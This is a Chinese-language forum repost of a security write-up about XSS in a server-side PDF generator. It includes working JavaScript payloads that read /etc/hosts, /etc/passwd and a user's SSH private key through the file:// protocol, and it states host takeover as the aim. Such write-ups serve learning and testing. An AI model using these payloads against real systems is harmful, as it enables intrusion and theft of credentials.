本帖最后由 wangqiang 于 2023-2-8 15:20 编辑
XSS漏洞_从PDF中获取数据2023-02-06 08:42 发表于山东
一 前言
作为一名漏洞复现工程师的我在试图挖掘XSS漏洞时,不论是正常的输入payload触发XSS还是通过导入xls、pdf等文件进行解析或者 自己输出内容生成xls pdf文件时触发XSS,总喜欢浅尝辄止,看到触发了XSS漏洞就可以了。有时候多想一步看看是否可以结合本地 文件包含或者SSRF漏洞,实现漏洞利用的最大化。
二 准备阶段
这是一个读者可以上传图书内容的功能,读者在前台上传了之后会在后台生成一个PDF文件,一般情况下基于用户输入生成PDF文件的地 方可能容易受到XSS的攻击,从而泄露服务器的敏感数据。
用户可以在该处输入书名、作者,以及上传图书内容
用户上传之后会在后台生成一个包含书名 作者 书的内容链接的pdf文件
一般的测试步骤如下 1 找到可控的输入 2 尝试对输入进行HTML标记,看是否可以解析HTML 3 测试不同的协议(比如file http https),尝试读取内部文件(这是最重要的,探测到使用的是什么协议才方便来读物内部文件) 4 使用JS注入来读取内部文件
三 漏洞利用
根据上面的步骤一步步来 在输入框输入 r3dbucket
相关数据包如下
然后在后台生成了一个PDF文件,我们打开PDF,可以看到HTML的标签被解析了
基础有了,感觉有戏,写个XSS payload,增强下信心 - <img src="x" onerror="document.write('test')" />
复制代码
内心毫无激动,常规操作了(内心慌的很,生怕在进行各种绕过)
接下来探测下使用的是什么协议,方便进行文件的读取操作 - <script>document.write(document.location.href)</script>
复制代码
可以看到用的是file协议,然后构造payload进行文件的读取,读取下hosts文件和passwd文件,构造payload如下 - <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/hosts’);x.send();</script>
- <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/passwd’);x.send();</script>
复制代码
可以看到我们的payload是成功的,成功读取到了hosts文件和passwd文件的内容
拿下主机权限是我们的最终目标,尝试去读取id_rsa - <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
复制代码
接下来就是进行图片文字识别,然后进行登录了。
四 总结
这个漏洞可以看成是回显的吧,可以通过下载PDF来看,不必要在通过外带技术来看是否成功了,总之单个漏洞的危害也许有限, 组合拳的危害就大了,学习之路任重道远呀。
来源:先知社区的【爱吃猫的闲鱼】师傅 注:如有侵权请联系删除
|